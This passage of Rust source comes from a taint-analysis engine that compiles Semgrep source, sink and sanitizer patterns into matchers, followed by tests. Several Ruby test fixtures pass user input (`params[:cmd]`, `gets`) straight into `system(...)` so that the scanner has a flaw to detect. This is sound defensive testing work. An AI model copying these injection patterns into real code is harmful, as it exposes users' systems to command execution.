    // the wildcard field. Only meaningful as a SOURCE.
    //
    // Discipline: the ROOT must be a concrete identifier (we refuse a
    // metavariable root like `$REQ.$ANYTHING`, which would taint every member
    // access on every receiver — a universal matcher with severe FP risk).
    if let MatcherRole::Source = role {
        if let Some(root) = parse_concrete_root_metavar_field(pat) {
            return Some(GenericMatcher::ParamName {
                names: vec![root.to_string()],
                description: format!("untrusted `{}` request object", root),
            });
        }
    }

    // ── No parens: identifier or attribute chain ────────────────────────
    if !is_dotted_identifier(pat) {
        return None;
    }

    if let Some(dot) = pat.rfind('.') {
        // `root.field` or `root.intermediate.field`. The engine only
        // supports one-level roots, so we take the leftmost segment as
        // the root and the outermost (last) segment as the field.
        let root = pat[..pat.find('.').expect("rfind guarantees at least one dot")].to_string();
        let field = pat[dot + 1..].to_string();
        if root.is_empty() || field.is_empty() {
            return None;
        }
        let desc = describe(pat, role);
        return Some(GenericMatcher::Attribute {
            root,
            field,
            description: desc,
        });
    }

    // Bare identifier → treat as a ParamName source / sink would not make
    // sense, so for non-source roles we refuse this shape.
    match role {
        MatcherRole::Source => Some(GenericMatcher::ParamName {
            names: vec![pat.to_string()],
            description: format!("untrusted `{}` parameter", pat),
        }),
        MatcherRole::Sink | MatcherRole::Sanitizer => None,
    }
}

/// If `pat` has the assignment shape `$METAVAR.field = $RHS` — a metavariable
/// receiver, a plain identifier property name, a single `=` operator, and any
/// RHS expression — return the property field name.  Returns `None` for all
/// other shapes (including `==`, `!=`, `<=`, `>=` operators).
///
/// Examples:
/// - `$EL.innerHTML = $X`  → `Some("innerHTML")`
/// - `$EL.outerHTML = $X`  → `Some("outerHTML")`
/// - `$FORM.action = $X`   → `Some("action")`
/// - `pickle.loads($X)`    → `None` (call form, no `=`)
/// - `$EL.innerHTML == $X` → `None` (equality comparison, not assignment)
/// - `$EL.a.b = $X`        → `None` (multi-segment LHS, ambiguous)
fn parse_member_assign_pattern(pat: &str) -> Option<&str> {
    // Find ` = ` with single `=` — must not be preceded or followed by
    // `=`, `!`, `<`, `>` to avoid confusing `==`, `!=`, `<=`, `>=`.
    let eq_pos = find_single_assignment(pat)?;
    let lhs = pat[..eq_pos].trim();
    // No call parens allowed in the LHS.
    if lhs.contains('(') || lhs.contains(')') {
        return None;
    }
    // LHS must have exactly the shape `$METAVAR.field`.
    parse_metavar_dot_method(lhs)
}

/// Find the byte offset of a standalone `=` in `s`, i.e. `=` that is not
/// part of `==`, `!=`, `<=`, or `>=`.  Returns the position of the `=`
/// character, or `None` if no such operator is present.
fn find_single_assignment(s: &str) -> Option<usize> {
    let bytes = s.as_bytes();
    for (i, &b) in bytes.iter().enumerate() {
        if b != b'=' {
            continue;
        }
        // Reject `==`.
        if bytes.get(i + 1) == Some(&b'=') {
            continue;
        }
        // Reject `!=`, `<=`, `>=`.
        if i > 0 && matches!(bytes[i - 1], b'!' | b'<' | b'>') {
            continue;
        }
        return Some(i);
    }
    None
}

/// If `pat` is a subscript / index access `base[...]`, return the matched
/// base as `Some(Some(name))` (concrete base whose final segment is `name`)
/// or `Some(None)` (metavariable base — match any subscript). Returns `None`
/// when `pat` is not a subscript shape we can express.
///
/// The base is the substring before the FIRST `[`; the pattern must end with
/// `]`. The base must be one of:
/// - a plain identifier (`params` → `Some(Some("params"))`)
/// - a dotted attribute chain (`request.POST` → `Some(Some("POST"))`,
///   `flask.request.args` → `Some(Some("args"))` — final segment)
/// - a bare metavariable (`$VALS` → `Some(None)`)
/// - a chain whose final segment is a metavariable (`$REQ.$X` → `Some(None)`)
///
/// Anything else (empty base, base containing a call, nested brackets that
/// don't close at the end, operators) returns `None`.
fn parse_subscript_base(pat: &str) -> Option<Option<String>> {
    if !pat.ends_with(']') {
        return None;
    }
    let open = pat.find('[')?;
    let base = pat[..open].trim();
    if base.is_empty() {
        return None;
    }
    // The base must not be a call or contain other brackets / operators.
    if base.contains('(') || base.contains(')') || base.contains('[') || base.contains(' ') {
        return None;
    }
    // Bare metavariable base → match any subscript.
    if is_metavariable(base) {
        return Some(None);
    }
    // Plain identifier base.
    if is_identifier(base) {
        return Some(Some(base.to_string()));
    }
    // Dotted chain: take the final segment. If it is a metavariable, the
    // indexed property is unknown → match any subscript. Otherwise use the
    // final identifier segment as the base name.
    if let Some(dot) = base.rfind('.') {
        let last = &base[dot + 1..];
        if is_metavariable(last) {
            return Some(None);
        }
        if is_identifier(last) {
            // Require every preceding segment to be an identifier or a
            // metavariable so we only accept genuine attribute chains.
            let head_ok = base[..dot]
                .split('.')
                .all(|seg| is_identifier(seg) || is_metavariable(seg));
            if head_ok {
                return Some(Some(last.to_string()));
            }
        }
    }
    None
}

/// True when `pat` is an object/dict literal sink shape: a brace-delimited
/// literal `{ ... }` that contains at least one `key: $METAVAR` value position.
///
/// Recognises the LLM system-prompt-injection sinks
/// `{role: "system", content: $SINK}` (JS) and
/// `{"role": "system", "content": $SINK}` (Python). The compile-time check
/// only recognises the *shape* (a literal-construction sink whose value slot is
/// a metavariable); the engine enforces the "literal is actually constructed
/// AND a tainted value reaches a value slot" guard at match time.
///
/// Discipline: must start with `{` and end with `}` (a real literal, not a set
/// comprehension or a block) and must contain a `:` immediately followed
/// (ignoring whitespace) by a `$` metavariable somewhere — i.e. a tainted value
/// position. This refuses bare `{$X}` set/dict-key shapes and `{...}` ellipsis
/// blobs that carry no metavariable value.
fn is_object_literal_value_pattern(pat: &str) -> bool {
    let p = pat.trim();
    if !(p.starts_with('{') && p.ends_with('}')) {
        return false;
    }
    // Need at least one `:` whose value side begins with a `$` metavariable.
    let bytes = p.as_bytes();
    let mut i = 0;
    while i < bytes.len() {
        if bytes[i] == b':' {
            // Skip whitespace after the colon.
            let mut j = i + 1;
            while j < bytes.len() && (bytes[j] as char).is_whitespace() {
                j += 1;
            }
            if j < bytes.len() && bytes[j] == b'$' {
                // The metavariable must be a real `$NAME`, not `${` (a JS
                // template-substitution would not appear at a value head here,
                // but guard anyway) and not the end of the literal.
                let mut k = j + 1;
                if k < bytes.len() && (bytes[k].is_ascii_alphabetic() || bytes[k] == b'_') {
                    while k < bytes.len() && (bytes[k].is_ascii_alphanumeric() || bytes[k] == b'_')
                    {
                        k += 1;
                    }
                    return true;
                }
            }
        }
        i += 1;
    }
    false
}

/// True (as `Some(())`) when `pat` is exactly `return $METAVAR` — the keyword
/// `return`, whitespace, then a single bare Semgrep metavariable and nothing
/// else. This is the LLM "unsanitized return" / directly-returned sink shape.
/// Refuses `return "...".format(...)`, `return $X + $Y`, `return f"..."`, etc.
/// (those are handled — or not — by other shapes), and refuses a bare `return`.
fn parse_return_metavar(pat: &str) -> Option<()> {
    let rest = pat.strip_prefix("return")?;
    // Require whitespace right after `return` (so `returnx` is not matched).
    if !rest.starts_with(char::is_whitespace) {
        return None;
    }
    let v = rest.trim();
    // Must be a single bare metavariable `$NAME` (uppercase Semgrep convention,
    // but accept any valid identifier after `$`) with no trailing tokens.
    let name = v.strip_prefix('$')?;
    if name.is_empty() {
        return None;
    }
    let mut chars = name.chars();
    let first = chars.next()?;
    if !(first.is_ascii_alphabetic() || first == '_') {
        return None;
    }
    if name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
        Some(())
    } else {
        None
    }
}

/// True when `pat` is a string-building sink shape the engine should match as
/// a `BinopFormat`: a binary `+`/`%` concatenation or an f-string
/// interpolation. The compile-time check only recognises the *shape*; the
/// engine enforces the literal-operand + tainted-operand guard at match time.
///
/// Recognised:
/// - f-string interpolation: `f"...{$X}..."` / `f'...{$X}...'`
/// - binary `+`/`%`: `"$SQL" + $EXPR`, `$A + $B`, `$M % $M`, `... + $X`
///   — split on top-level ` + ` / ` % ` operators (outside quotes/brackets);
///   every operand must be a quoted string literal, a metavariable, the
///   `...` ellipsis, or a plain/dotted identifier chain, and at least two
///   operands must be present.
///
/// Rejected (returns false): plain calls, attribute chains, subscripts,
/// assignments, and any binop whose operands include unrecognised tokens.
fn is_binop_format_pattern(pat: &str) -> bool {
    // f-string interpolation: `f"...{$...}..."`.
    if (pat.starts_with("f\"") || pat.starts_with("f'")) && pat.contains("{$") {
        return true;
    }

    // Binary `+` / `%` concatenation. Split on top-level operators, skipping
    // anything inside quotes or brackets so `"a + b"` and `f($x + $y)` don't
    // confuse the scan.
    let operands = split_top_level_binop(pat);
    let Some(operands) = operands else {
        return false;
    };
    if operands.len() < 2 {
        return false;
    }
    operands.iter().all(|o| is_binop_operand(o))
}

/// Split `pat` on top-level ` + ` / ` % ` operators, returning the operand
/// substrings, or `None` if there is no such top-level operator (so the caller
/// can reject the shape). "Top-level" means not inside `"`/`'` quotes or
/// `(`/`[`/`{` brackets.
fn split_top_level_binop(pat: &str) -> Option<Vec<&str>> {
    let bytes = pat.as_bytes();
    let mut operands = Vec::new();
    let mut start = 0usize;
    let mut depth: i32 = 0;
    let mut quote: Option<u8> = None;
    let mut found_op = false;
    let mut i = 0usize;
    while i < bytes.len() {
        let b = bytes[i];
        if let Some(q) = quote {
            if b == q {
                quote = None;
            }
            i += 1;
            continue;
        }
        match b {
            b'"' | b'\'' => quote = Some(b),
            b'(' | b'[' | b'{' => depth += 1,
            b')' | b']' | b'}' => depth -= 1,
            b'+' | b'%' if depth == 0 => {
                // Require surrounding spaces to be a binary operator (Semgrep
                // formatting always uses `a + b`, never `a+b` in these rules).
                let space_before = i > 0 && bytes[i - 1] == b' ';
                let space_after = i + 1 < bytes.len() && bytes[i + 1] == b' ';
                if space_before && space_after {
                    operands.push(pat[start..i].trim());
                    start = i + 1;
                    found_op = true;
                }
            }
            _ => {}
        }
        i += 1;
    }
    if !found_op {
        return None;
    }
    operands.push(pat[start..].trim());
    Some(operands)
}

/// True when `o` is an acceptable operand of a `BinopFormat` concatenation: a
/// quoted string literal, a Semgrep metavariable (`$X`), the `...` ellipsis, a
/// plain/dotted identifier chain, or such a chain wrapped in a single call /
/// subscript. Anything containing further unbalanced operators is rejected.
fn is_binop_operand(o: &str) -> bool {
    let o = o.trim();
    if o.is_empty() {
        return false;
    }
    if o == "..." {
        return true;
    }
    // Quoted string literal (possibly an f-string).
    if (o.starts_with('"') && o.ends_with('"') && o.len() >= 2)
        || (o.starts_with('\'') && o.ends_with('\'') && o.len() >= 2)
        || (o.starts_with("f\"") && o.ends_with('"'))
        || (o.starts_with("f'") && o.ends_with('\''))
    {
        return true;
    }
    if is_metavariable(o) {
        return true;
    }
    if is_dotted_identifier(o) {
        return true;
    }
    false
}

/// If `callee` has the shape `$METAVAR.plain_method` — exactly one
/// `$`-prefixed metavariable segment followed by a plain identifier — return
/// the method name. Returns `None` for all other shapes.
///
/// Examples:
/// - `$CONN.executeQuery` → `Some("executeQuery")`
/// - `$OBJ.innerHTML` → `Some("innerHTML")`
/// - `pickle.loads` → `None` (dotted plain identifier, handled as `Call`)
/// - `$X` → `None` (bare metavariable, no method)
/// - `$A.b.c` → `None` (more than one segment after the metavar)
fn parse_metavar_dot_method(callee: &str) -> Option<&str> {
    let dot = callee.find('.')?;
    let receiver = &callee[..dot];
    let rest = &callee[dot + 1..];
    // Receiver must be a metavariable: `$` followed by UPPER or `_`
    if !is_metavariable(receiver) {
        return None;
    }
    // The rest must be a single plain identifier (no more dots).
    if rest.contains('.') {
        return None;
    }
    if !is_identifier(rest) {
        return None;
    }
    Some(rest)
}

/// If `pat` has the shape `root.$METAVAR` — a *concrete* plain-identifier root
/// followed by a single metavariable field — return the root identifier.
/// Used to compile `request.$ANYTHING` (Django/Flask "any request attribute")
/// to a `ParamName` source on the concrete root. Returns `None` for a
/// metavariable root (`$REQ.$ANYTHING` — too broad), a concrete field
/// (`request.GET` — that is a plain `Attribute`), or any chain that is not
/// exactly two dot-separated segments.
///
/// Examples:
/// - `request.$ANYTHING` → `Some("request")`
/// - `req.$X`            → `Some("req")`
/// - `$REQ.$ANYTHING`    → `None` (metavar root)
/// - `request.GET`       → `None` (concrete field — handled by `Attribute`)
/// - `a.b.$X`            → `None` (more than two segments)
fn parse_concrete_root_metavar_field(pat: &str) -> Option<&str> {
    let dot = pat.find('.')?;
    let root = &pat[..dot];
    let field = &pat[dot + 1..];
    // Exactly two segments: the field must not contain a further dot.
    if field.contains('.') {
        return None;
    }
    if !is_identifier(root) {
        return None;
    }
    if !is_metavariable(field) {
        return None;
    }
    Some(root)
}

/// If `callee` is a CALL-ON-MEMBER receiver chain — a dotted path of three or
/// more segments where (a) at least one segment is a Semgrep metavariable
/// (otherwise the fully-concrete chain is already handled by the `Call`
/// branch), (b) the *final* segment (the method name) is a concrete
/// identifier, and (c) the *penultimate* segment (the field read just before
/// the method) is a concrete identifier — return the penultimate field name.
///
/// Every other segment may be an identifier or a metavariable. Returns `None`
/// for two-segment callees (handled by [`parse_metavar_dot_method`] /
/// [`parse_receiver_dot_metavar`]), for chains whose penultimate or final
/// segment is a metavariable (we refuse to compile an any-field/any-method
/// matcher — too broad), and for fully-concrete chains.
///
/// Examples:
/// - `$CLIENT.chat.completions.create` → `Some("completions")`
/// - `$CLIENT.messages.create`         → `Some("messages")`
/// - `$REQ.POST.get`                   → `Some("POST")`
/// - `request.$PROPERTY.get`           → `None` (penultimate is a metavar)
/// - `$CONN.executeQuery`              → `None` (two segments)
/// - `flask.request.form.get`          → `None` (fully concrete → `Call`)
fn parse_member_call_penultimate(callee: &str) -> Option<&str> {
    let segments: Vec<&str> = callee.split('.').collect();
    if segments.len() < 3 {
        return None;
    }
    let method = segments[segments.len() - 1];
    let field = segments[segments.len() - 2];
    // Final method and penultimate field must both be concrete identifiers.
    if !is_identifier(method) || !is_identifier(field) {
        return None;
    }
    // Every other (prefix) segment must be an identifier or a metavariable.
    let mut has_metavar = false;
    for seg in &segments[..segments.len() - 2] {
        if is_metavariable(seg) {
            has_metavar = true;
        } else if !is_identifier(seg) {
            return None;
        }
    }
    // A fully-concrete chain is already compiled by the `Call` branch; only
    // engage when a metavariable is present in the receiver prefix.
    if !has_metavar {
        return None;
    }
    Some(field)
}

/// If `callee` has the shape `receiver.$METAVAR` — a concrete plain
/// identifier receiver followed by a single metavariable method segment —
/// return the receiver name. The symmetric counterpart of
/// [`parse_metavar_dot_method`]. Returns `None` for all other shapes.
///
/// Examples:
/// - `os.$METHOD` → `Some("os")`
/// - `subprocess.$FUNC` → `Some("subprocess")`
/// - `Kernel.$X` → `Some("Kernel")`
/// - `$CONN.executeQuery` → `None` (metavar receiver — handled as MethodName)
/// - `os.system` → `None` (concrete method — handled as Call)
/// - `a.b.$X` → `None` (multi-segment receiver, ambiguous)
fn parse_receiver_dot_metavar(callee: &str) -> Option<&str> {
    let dot = callee.find('.')?;
    let receiver = &callee[..dot];
    let rest = &callee[dot + 1..];
    // Receiver must be a single plain identifier (no further dots).
    if !is_identifier(receiver) {
        return None;
    }
    // The method segment must be a single metavariable (no more dots).
    if rest.contains('.') {
        return None;
    }
    if !is_metavariable(rest) {
        return None;
    }
    Some(receiver)
}

/// True when `s` is a Semgrep metavariable: `$` followed by one or more
/// ASCII uppercase letters or underscores (e.g. `$X`, `$CONN`, `$_`).
fn is_metavariable(s: &str) -> bool {
    let mut chars = s.chars();
    match chars.next() {
        Some('$') => {}
        _ => return false,
    }
    let rest: String = chars.collect();
    // Semgrep metavariables are `$` + `[A-Z_][A-Z0-9_]*` — allow trailing digits
    // (e.g. `$ARG1`) while still rejecting lowercase (`$obj`).
    !rest.is_empty()
        && rest
            .chars()
            .all(|c| c.is_ascii_uppercase() || c.is_ascii_digit() || c == '_')
}

fn describe(canonical: &str, role: MatcherRole) -> String {
    match role {
        MatcherRole::Source => format!("semgrep source `{}`", canonical),
        MatcherRole::Sink => format!("semgrep sink `{}`", canonical),
        MatcherRole::Sanitizer => format!("semgrep sanitizer `{}`", canonical),
    }
}

/// True when `s` is a `.`-separated chain of identifier segments, each of
/// which is an ASCII identifier (`[A-Za-z_][A-Za-z0-9_]*`). Used to reject
/// pattern strings that contain metavariables, operators, or whitespace
/// outside of a call form.
fn is_dotted_identifier(s: &str) -> bool {
    if s.is_empty() {
        return false;
    }
    s.split('.').all(is_identifier)
}

fn is_identifier(s: &str) -> bool {
    let mut chars = s.chars();
    match chars.next() {
        Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
        _ => return false,
    }
    chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}

/// True when `s` is a PHP variable: `$` followed by a valid identifier.
///
/// Examples: `$_GET`, `$_POST`, `$request`, `$cmd`.
///
/// This is a SOURCE-only shape — there is no meaningful PHP sink that is
/// just a bare variable name.
fn is_php_variable(s: &str) -> bool {
    let mut chars = s.chars();
    match chars.next() {
        Some('$') => {}
        _ => return false,
    }
    // After `$`, the rest must be a valid PHP identifier: [A-Za-z_][A-Za-z0-9_]*
    let rest: &str = &s[1..];
    if rest.is_empty() {
        return false;
    }
    is_identifier(rest)
}

fn map_severity(s: &str) -> Severity {
    match s.to_ascii_uppercase().as_str() {
        "ERROR" => Severity::Critical,
        "WARNING" => Severity::High,
        "INFO" => Severity::Medium,
        _ => Severity::Medium,
    }
}

fn extract_cwe(yaml: &YamlValue) -> Option<String> {
    let meta = yaml.get("metadata")?;
    let cwe = meta.get("cwe")?;
    match cwe {
        YamlValue::String(s) => Some(s.clone()),
        YamlValue::Sequence(v) => v.first().and_then(|x| x.as_str()).map(|s| s.to_string()),
        _ => None,
    }
}

// ─── Tests ────────────────────────────────────────────────────────────────

#[cfg(test)]
mod tests {
    use super::*;

    fn compile(pattern: &str, role: MatcherRole) -> Option<GenericMatcher> {
        compile_pattern(pattern, role, Language::Python)
    }

    #[test]
    fn compile_attribute_source() {
        let m = compile("request.data", MatcherRole::Source).expect("attribute");
        match m {
            GenericMatcher::Attribute { root, field, .. } => {
                assert_eq!(root, "request");
                assert_eq!(field, "data");
            }
            _ => panic!("expected Attribute"),
        }
    }

    #[test]
    fn compile_nested_attribute_takes_leftmost_root_and_outermost_field() {
        let m = compile("request.session.user_id", MatcherRole::Source).expect("attribute");
        match m {
            GenericMatcher::Attribute { root, field, .. } => {
                assert_eq!(root, "request");
                assert_eq!(field, "user_id");
            }
            _ => panic!("expected Attribute"),
        }
    }

    #[test]
    fn compile_call_with_metavar() {
        let m = compile("pickle.loads($X)", MatcherRole::Sink).expect("call");
        match m {
            GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
            _ => panic!("expected Call"),
        }
    }

    #[test]
    fn compile_call_with_ellipsis() {
        let m = compile("pickle.loads(...)", MatcherRole::Sink).expect("call");
        match m {
            GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "pickle.loads"),
            _ => panic!("expected Call"),
        }
    }

    #[test]
    fn compile_bare_func_call() {
        let m = compile("eval($X)", MatcherRole::Sink).expect("call");
        match m {
            GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "eval"),
            _ => panic!("expected Call"),
        }
    }

    // ── CALL-ON-MEMBER shape unit tests ─────────────────────────────────────

    #[test]
    fn compile_member_call_metavar_root_yields_fieldname_on_penultimate() {
        // `$CLIENT.chat.completions.create(...)` → FieldName { field: "completions" }
        let m = compile("$CLIENT.chat.completions.create(...)", MatcherRole::Source)
            .expect("member-call source");
        match m {
            GenericMatcher::FieldName { field, .. } => assert_eq!(field, "completions"),
            other => panic!("expected FieldName, got {other:?}"),
        }
        let m = compile("$CLIENT.messages.create(...)", MatcherRole::Source).expect("member-call");
        match m {
            GenericMatcher::FieldName { field, .. } => assert_eq!(field, "messages"),
            other => panic!("expected FieldName, got {other:?}"),
        }
    }

    #[test]
    fn compile_member_call_metavar_root_concrete_field_as_sink() {
        // `$CLIENT.calls.create(...)` (twiml sink) → FieldName { field: "calls" }.
        let m = compile("$CLIENT.calls.create(...)", MatcherRole::Sink).expect("member-call sink");
        match m {
            GenericMatcher::FieldName { field, .. } => assert_eq!(field, "calls"),
            other => panic!("expected FieldName, got {other:?}"),
        }
    }

    #[test]
    fn compile_member_call_metavar_penultimate_is_rejected() {
        // `request.$PROPERTY.get(...)` has a metavar penultimate → we refuse to
        // compile an any-field `.get(...)` matcher (too broad). It must NOT
        // become a FieldName.
        let m = compile("request.$PROPERTY.get(...)", MatcherRole::Source);
        assert!(
            !matches!(m, Some(GenericMatcher::FieldName { .. })),
            "metavar penultimate must not compile to FieldName, got {m:?}"
        );
    }

    #[test]
    fn compile_member_call_fully_concrete_stays_call() {
        // A fully-concrete chain must keep using `Call`, not the member-call path.
        let m = compile("flask.request.form.get(...)", MatcherRole::Source).expect("concrete call");
        match m {
            GenericMatcher::Call { canonical, .. } => {
                assert_eq!(canonical, "flask.request.form.get")
            }
            other => panic!("expected Call, got {other:?}"),
        }
    }

    #[test]
    fn parse_member_call_penultimate_edge_cases() {
        assert_eq!(
            parse_member_call_penultimate("$CLIENT.chat.completions.create"),
            Some("completions")
        );
        assert_eq!(parse_member_call_penultimate("$REQ.POST.get"), Some("POST"));
        // two-segment → handled elsewhere.
        assert_eq!(parse_member_call_penultimate("$CONN.executeQuery"), None);
        // metavar method → reject.
        assert_eq!(parse_member_call_penultimate("$REQ.POST.$M"), None);
        // metavar penultimate → reject.
        assert_eq!(parse_member_call_penultimate("request.$PROP.get"), None);
        // fully concrete → reject (Call handles it).
        assert_eq!(parse_member_call_penultimate("a.b.c"), None);
    }

    #[test]
    fn compile_bare_identifier_source() {
        let m = compile("request", MatcherRole::Source).expect("paramname");
        match m {
            GenericMatcher::ParamName { names, .. } => {
                assert_eq!(names, vec!["request".to_string()])
            }
            _ => panic!("expected ParamName"),
        }
    }

    #[test]
    fn bare_identifier_rejected_as_sink() {
        assert!(compile("request", MatcherRole::Sink).is_none());
    }

    #[test]
    fn weird_shapes_rejected() {
        assert!(compile("$X + $Y", MatcherRole::Source).is_none());
        assert!(compile("a.b.c(d", MatcherRole::Sink).is_none());
        assert!(compile("", MatcherRole::Source).is_none());
    }

    #[test]
    fn parse_full_taint_rule() {
        let yaml = r#"
id: semgrep-pickle-taint
mode: taint
languages: [python]
severity: ERROR
message: "Untrusted input reaches pickle.loads"
metadata:
  cwe: "CWE-502"
pattern-sources:
  - pattern: request.data
  - pattern: request
pattern-sinks:
  - pattern: pickle.loads($X)
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.id, "semgrep/semgrep-pickle-taint");
                assert_eq!(r.lang, Language::Python);
                assert_eq!(r.cwe.as_deref(), Some("CWE-502"));
                assert_eq!(r.spec.sources.len(), 2);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn non_taint_rule_falls_through() {
        let yaml = r#"
id: classic
pattern: eval(...)
message: x
severity: ERROR
languages: [python]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        assert!(matches!(parse_taint_rule(&v), TaintRuleParse::NotTaint));
    }

    #[test]
    fn taint_rule_with_unsupported_language_is_skipped() {
        let yaml = r#"
id: x
mode: taint
languages: [elixir]
severity: ERROR
message: m
pattern-sources: [{pattern: req}]
pattern-sinks: [{pattern: eval($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        assert!(matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)));
    }

    #[test]
    fn taint_rule_with_ruby_language_compiles() {
        let yaml = r#"
id: ruby-taint
mode: taint
languages: [ruby]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => {
                assert_eq!(r.lang, Language::Ruby);
                assert_eq!(r.spec.sources.len(), 1);
                assert_eq!(r.spec.sinks.len(), 1);
            }
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn taint_rule_with_rb_alias_compiles_as_ruby() {
        let yaml = r#"
id: rb-taint
mode: taint
languages: [rb]
severity: ERROR
message: m
pattern-sources: [{pattern: gets($X)}]
pattern-sinks: [{pattern: eval($X)}]
"#;
        let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
        match parse_taint_rule(&v) {
            TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Ruby),
            TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
            TaintRuleParse::NotTaint => panic!("expected taint rule"),
        }
    }

    #[test]
    fn ruby_taint_rule_produces_finding_for_source_to_sink_flow() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-cmd-injection
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches system"
metadata:
  cwe: "CWE-78"
pattern-sources:
  - pattern: gets($X)
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"
def run
  cmd = gets
  system(cmd)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            !findings.is_empty(),
            "expected a finding for gets -> system flow, got none"
        );
        assert!(
            findings[0].description.contains("gets"),
            "description should mention source"
        );
    }

    // ── Bridge-level (end-to-end) tests for BARE-IDENTIFIER Ruby sources ─────
    //
    // These compile a rule through `parse_taint_rule` (the SAME path the CLI
    // uses) where the source is a bare identifier (`params`, `gets`) with no
    // parens. The bridge compiles those to `GenericMatcher::ParamName`, which
    // is the path that was previously broken end-to-end (the `analyze_tree`
    // unit tests bypassed it by hand-building `Call` specs). We assert the
    // sink line and that a sanitized variant produces no finding.

    /// `params[:cmd] → system(cmd)` via the bare-identifier `params` source.
    #[test]
    fn ruby_bridge_bare_params_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
  - pattern: params
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"
def handler
  cmd = params[:cmd]
  system(cmd)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for params[:cmd] -> system, got {:?}",
            findings
        );
        // sink is on the `system(cmd)` line (line 4 with leading newline).
        assert_eq!(
            findings[0].line, 4,
            "finding should be at the system() sink line"
        );
    }

    /// Bare `gets` (no parens) → `system(cmd)` via the `ParamName` bridge path.
    #[test]
    fn ruby_bridge_bare_gets_source_to_system_sink_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-gets-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted gets reaches system"
pattern-sources:
  - pattern: gets
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"
def handler
  cmd = gets
  system(cmd)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "expected 1 finding for bare gets -> system, got {:?}",
            findings
        );
        assert_eq!(
            findings[0].line, 4,
            "finding should be at the system() sink line"
        );
    }

    /// A sanitizer between a bare-identifier source and the sink blocks the
    /// flow end-to-end (still through the bridge).
    #[test]
    fn ruby_bridge_bare_params_source_sanitized_produces_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-params-cmdi-sanitized
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
  - pattern: params
pattern-sanitizers:
  - pattern: Shellwords.escape($X)
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"
def handler
  cmd = Shellwords.escape(params[:cmd])
  system(cmd)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "sanitized params flow must produce no finding, got {:?}",
            findings
        );
    }

    /// The dotted `request.params` source must keep firing end-to-end (it was
    /// already working — this is a regression guard).
    #[test]
    fn ruby_bridge_dotted_request_params_source_still_fires() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-request-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted request.params reaches system"
pattern-sources:
  - pattern: request.params
pattern-sinks:
  - pattern: system($X)
"#,
        );

        let src = r#"
def handler
  val = request.params[:q]
  system(val)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "dotted request.params -> system must still fire, got {:?}",
            findings
        );
    }

    /// Near-miss: a bare-identifier source that never reaches the sink must
    /// produce no finding (end-to-end via the bridge).
    #[test]
    fn ruby_bridge_bare_params_source_near_miss_no_finding() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-params-cmdi-nearmiss
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
  - pattern: params
pattern-sinks:
  - pattern: system($X)
"#,
        );

        // `safe` is a literal, never tainted; `cmd` is tainted but not used.
        let src = r#"
def handler
  cmd = params[:cmd]
  safe = "ls"
  system(safe)
end
"#;
        let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
        let findings = rule.check(src, &tree);
        assert!(
            findings.is_empty(),
            "untainted argument must not fire, got {:?}",
            findings
        );
    }

    #[test]
    fn taint_rule_with_c_language_compiles() {
        let yaml = r#"
id: c-taint
mode: taint
languages: [c]
severity: ERROR
message: m
pattern-sources: [{pattern: getenv($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
